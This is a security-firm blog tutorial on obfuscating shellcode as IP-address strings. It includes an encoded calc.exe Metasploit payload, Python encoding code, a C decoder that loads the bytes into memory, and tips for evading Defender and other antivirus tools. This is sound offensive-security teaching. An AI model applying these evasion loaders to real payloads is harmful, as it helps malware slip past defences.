Adventures in Shellcode Obfuscation! Part 9: Shellcode as IP Addresses

By Red Siege | August 15, 2024

by Mike Saunders, Principal Security Consultant

 

 

This blog is the ninth in a series of blogs on obfuscation techniques for hiding shellcode. You can find the rest of the series here. If you’d like to try these techniques out on your own, you can find the code we’ll be using on the Red Siege GitHub.

Another interesting way of obfuscating shellcode is to format the shellcode as an array of IP addresses. I first became aware of this technique through the ORCA HellShell project. HellShell includes the ability to format shellcode as IPv4 or IPv6 addresses. The technique was first discovered in the wild being used by the Hive ransomware group. Let’s take a look at how it works.

Generating IP Addresses

You can use HellShell to generate the appropriate shellcode and payloads. You can also use the Red Siege Shellcode Obfuscation project.

The example below is a Metasploit windows/x64/exec CMD=calc.exe payload formatted as IPv4 addresses. If you’ve spent much time looking at shellcode, you’ll realize the first IP address is the bytes \xfc\x48\x83\xe4. Pretty standard unencrypted shellcode.

const char* IPv4s[] = {
 "252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210",
 "101.72.139.82", "96.72.139.82", "24.72.139.82", "32.72.139.114", "80.72.15.183",
 "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65",
 "1.193.226.237", "82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136",
 "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68", "139.64.32.73",
 "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192",
 "172.65.193.201", "13.65.1.193", "56.224.117.241", "76.3.76.36", "8.69.57.209",
 "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
 "1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89",
 "65.90.72.131", "236.32.65.82", "255.224.88.65", "89.90.72.139", "18.233.87.255",
 "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0",
 "65.186.49.139", "111.135.255.213", "187.240.181.162", "86.65.186.166", "149.189.157.255",
 "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71", "19.114.111.106",
 "0.89.65.137", "218.255.213.99", "97.108.99.46", "101.120.101.0" };

The same shellcode formatted as an IPv6 would look like the following:

const char* IPv6s[] = {
 "fc48:83e4:f0e8:c000:0:4151:4150:5251", "5648:31d2:6548:8b52:6048:8b52:1848:8b52",
 "2048:8b72:5048:fb7:4a4a:4d31:c948:31c0", "ac3c:617c:22c:2041:c1c9:d41:1c1:e2ed",
 "5241:5148:8b52:208b:423c:4801:d08b:8088", "0:48:85c0:7467:4801:d050:8b48:1844",
 "8b40:2049:1d0:e356:48ff:c941:8b34:8848", "1d6:4d31:c948:31c0:ac41:c1c9:d41:1c1",
 "38e0:75f1:4c03:4c24:845:39d1:75d8:5844", "8b40:2449:1d0:6641:8b0c:4844:8b40:1c49",
 "1d0:418b:488:4801:d041:5841:585e:595a", "4158:4159:415a:4883:ec20:4152:ffe0:5841",
 "595a:488b:12e9:57ff:ffff:5d48:ba01:0", "::48:8d8d:101:0:41ba:318b",
 "6f87:ffd5:bbf0:b5a2:5641:baa6:95bd:9dff", "d548:83c4:283c:67c:a80:fbe0:7505:bb47",
 "1372:6f6a:59:4189:daff:d563:616c:632e", "6578:6500:9090:9090:9090:9090:9090:9090" };

Let’s take a look at how we construct the IP addresses. First, we need to know if we’re constructing IPv4 or IPv6 addresses. My Python script takes a -v argument and will accept 4 or 6. Based on that information, the script will set the chunk size, i.e. the number of bytes to grab at a time.

# Chunk size will depend on whether we are using IPv4 or IPv6
if args.version == "6":
    chunk_size = 16
else:
    chunk_size = 4

Next, the script creates and empty list and starts reading in chunks of raw shellcode in either 4 or 16 bytes at a time based on the chunk size. If the number of available bytes is less than the chunk size, we’ve reached the end of the raw shellcode, and we’ll pad that out to the chunk size with NOPs (\x90). Finally, we’ll construct an IP address from our bytes using the ip_address function from Python’s ipaddress library.

# Read input shellcode file to get it in IPv4 format
raw_ips = []
with open(input_file, "rb") as f:
    chunk = f.read(chunk_size)
    while chunk:
        if len(chunk) < chunk_size: 
            padding = chunk_size - len(chunk)
            chunk = chunk + (b"\\x90" * padding)
            raw_ips.append(str(ip_address(chunk)))
            break
        
        raw_ips.append(str(ip_address(chunk)))
        chunk = f.read(chunk_size)

We can also generate IP addresses in decimal form instead of dotted quad. We just need to change raw_ips.append(str(ip_address(chunk))) to raw_ips.append(int(IPv4Address(chunk))).

Converting IPs Back to Shellcode

Storing shellcode as an IP address is a great first step, but we can go even further. In a typical loader we would have an execution pattern like the following:

  1. Allocate memory (VirtualAlloc/HeapCreate)
  2. Copy shellcode (RtlMoveMemory/Marshal.Copy)
  3. Execute (CreateThread+WaitForSingleObject)

Windows has some handy API calls for dealing with IP addresses stored as strings – RtlIpv4StringToAddressA and RtlIpv6StringToAddressA. Digging into the IPv4 version, we can see it has the following structure:

NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
  [in]  PCSTR   S,
  [in]  BOOLEAN Strict,
  [out] PCSTR   *Terminator,
  [out] in_addr *Addr
);

The first parameter, S , is the IPv4 address string. The second parameter, Strict, determines whether the IP address should be interpreted strictly as a dotted quad IP address. If this parameter is TRUE, then the string must be formatted as A.B.C.D. If this value is FALSE, the string can be dotted quad, octal, or hexadecimal notation.

*Addr is “a pointer to where the binary representation of the IP address is to be stored.” In other words, give this API call a string of shellcode, formatted as an IP address, and it will store the shellcode in memory! As an added benefit, this breaks up the normal allocate > copy > execute flow, which may help with evasion.

The code below converts our IP addresses back to shellcode and stores it in memory. The first line defines a null terminator used to indicate the end of the IP address string. The second line defines a new void pointer. We’ll use LpBaseAddress2 to keep track of where we are in our buffer as we’re copying in shellcode. We then declare an NTSTATUS variable used if we encounter an error. Next, we have an integer, i, that we’ll use to keep track of how much shellcode we’ve written to the buffer.

We’ll use a for loop to iterate through our array of IP addresses. We set the value of LpBaseAddress2 to the base address of our buffer, defined in our main function, plus i. As i will be 0 on our first iteration, this is the base address of the buffer. We then call RtlIpv4StringtoAddressA and give it the IP address string, a Boolean value indicating we’re using the strict dotted IP address format, the null terminator, and the buffer address. After each iteration, we’ll add 4 to i to shift the address we’re writing our shellcode to by 4 bytes to avoid overwriting any bytes we just wrote.

int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) {
    PCSTR Terminator = NULL;
    void * LpBaseAddress2 = NULL;
    NTSTATUS STATUS;
    int i = 0;

    for (int j = 0; j < arrSize; j++) {
        LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
        if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], FALSE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
            printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS);
            return 1;
        }
        else {
            i = i + 4;
        }
    }
    return 0;
}

One Final Hurdle

This technique was first seen in the wild being used by the Hive ransomware group in March of 2022. In my testing, Microsoft Defender didn’t detect the shellcode stored as IP addresses. It did, however, detect the DecodeIPv4Fuscation function. If you want to use this technique, you’ll need to change up the execution flow. I solved the problem by simply writing some output to NULL in the loop.

FILE* outfile = fopen("nul", "w");
fputs("decoy output", outfile);
fclose(outfile);

So, how did it fare against other AV/EDR? VirusTotal indicated only 6 engines identified our test program as malicious. That’s not too shabby! If you’re concerned about your raw shellcode being detected in the IP address strings, you could encrypt the shellcode, then convert the encrypted bytes to IP addresses and decrypt immediately before passing to RtlIpv4StringToAddressA.

IP Address Obfuscation Score

Try it Yourself!

If you’d like to try this technique, I’ve written a simple Python program that will take raw shellcode and output a C source code file. You can find the repository on the Red Siege GitHub.

Stay Tuned

This blog is part of a larger series on obfuscation techniques. Stay tuned for our next installment!


About Principal Security Consultant Mike Saunders

Mike Saunders is Red Siege Information Security’s Principal Consultant. Mike has over 25 years of IT and security expertise, having worked in the ISP, banking, insurance, and agriculture businesses. Mike gained knowledge in a range of roles throughout his career, including system and network administration, development, and security architecture. Mike is a highly regarded and experienced international speaker with notable cybersecurity talks at conferences such as DerbyCon, Circle City Con, SANS Enterprise Summit, and NorthSec, in addition to having more than a decade of experience as a penetration tester. You can find Mike’s in-depth technical blogs and tool releases online and learn from his several offensive and defensive-focused SiegeCasts. He has been a member of the NCCCDC Red Team on several occasions and is the Lead Red Team Operator for Red Siege Information Security.

Certifications:
GCIH, GPEN, GWAPT, GMOB, CISSP, and OSCP

Connect on Twitter & LinkedIn

Improving Your Simple Windows Domain for Offensive Testing: Installing MS SQL Server Express on Windows Server 2022 Server Core Edition

By Red Siege | September 3, 2026

by Justin Palk A couple of years ago, I put together a series on standing up a simple Windows AD domain in a lab environment. This article is part of […]

Learn More
Improving Your Simple Windows Domain for Offensive Testing: Installing MS SQL Server Express on Windows Server 2022 Server Core Edition

Improving Your Simple Windows Domain for Offensive Testing: Sysmon

By Red Siege | August 13, 2026

by Justin Palk A couple of years ago, I put together a series on standing up a simple Windows AD domain in a lab environment. This article is part of […]

Learn More
Improving Your Simple Windows Domain for Offensive Testing: Sysmon

Improving Your Simple Windows Domain for Offensive Testing: Elastic Defend EDR

By Red Siege | July 7, 2026

 by Justin Palk A couple of years ago, I put together a series on standing up a simple Windows AD domain in a lab environment. This is the start of […]

Learn More
Improving Your Simple Windows Domain for Offensive Testing: Elastic Defend EDR

Find Out What’s Next

Stay in the loop with our upcoming events.